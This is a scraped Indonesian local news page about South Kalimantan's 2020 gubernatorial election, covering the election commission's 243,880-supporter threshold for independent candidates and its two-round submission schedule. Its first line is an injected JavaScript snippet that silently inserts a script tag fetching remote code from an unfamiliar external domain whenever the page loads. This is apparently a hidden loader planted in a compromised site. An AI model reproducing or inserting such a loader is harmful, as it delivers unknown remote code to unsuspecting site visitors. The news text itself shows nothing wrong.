(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PILKADA KALSEL

Calon Perseorangan Minimal Punya 243.880 Dukungan, Penyerahan Bukti Dukungan Bisa Dua Kali


BANJARMASIN, Meski belum ada satu pun kandidat bakal calon gubernur dan wakil gubernur Kalsel yang memastikan melirik jalur perseorangan di Pilgub Kalsel 2020 mendatang, KPU Provinsi Kalsel membuka kesempatan calon perseorangan untuk dapat menyerahkan bukti dukungan. Dari yang sebelumnya hanya satu kali saja, menjadi dua kali.

“Di rancangan PKPU Nomor 15, itu penyerahan di tanggal 9 November 2019 hingga 3 Maret 2020. Itu hanya sekali menyerahkan, nah sekarang diubah menjadi dua kali,” kata Ketua KPU Provinsi Kalsel Sarmuji, usai Peluncuran Pemilihan Gubernur dan Wakil Gubernur Kalsel 2020, di Rattan Inn Banjarmasin, Minggu (22/12) malam.

Ditambahkannya, pada penyerahan bukti dukungan pertama dengan jumlah minimal dukungan sebanyak 243.880 dukungan diserahkan dalam rentang waktu antara 16 hingga 20 Februari 2020. Ini merupakan penyerahan dukungan pertama.

“Kami verifikasi faktual, kalau telah memenuhi dukungan sebanyak 243.880 dukungan, maka tidak perlu adanya perbaikan. Namun jika ada kekurangan dukungan, maka akan ada penyerahan di waktu berikutnya,” sebutnya.

Penyerahan bukti dukungan perbaikan sendiri, akan kembali diverifikasi faktual dan direkapitulasi. Jika jumlahnya memenuhi syarat minimal dukungan, maka calon perseorangan dapat ikut maju Pilgub dan mendaftar pada 6 hingga 8 Juni 2020 mendatang.

“Sebetulnya tidak berubah, tetapi dibagi dua. Ada perubahan pertama, dan kedua kekurangannya dua kali lipat dari jumlah kekurangan,” paparnya.

Seperti diketahui, untuk bisa ikut serta pada Pilgub Kalsel 2020 mendatang, dibutuhkan bukti dukungan minimal sebanyak 243.880 dukungan, dengan sebaran minimal di 7 kabupaten dan kota di Kalsel. Ini tertuang dari pedoman tenis dan keputusan dukungan minimal calon perseorangan yang menjadi acuan KPU Provinsi Kalsel dalam penyelenggaraan Pilgub Kalsel 2020 mendatang. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.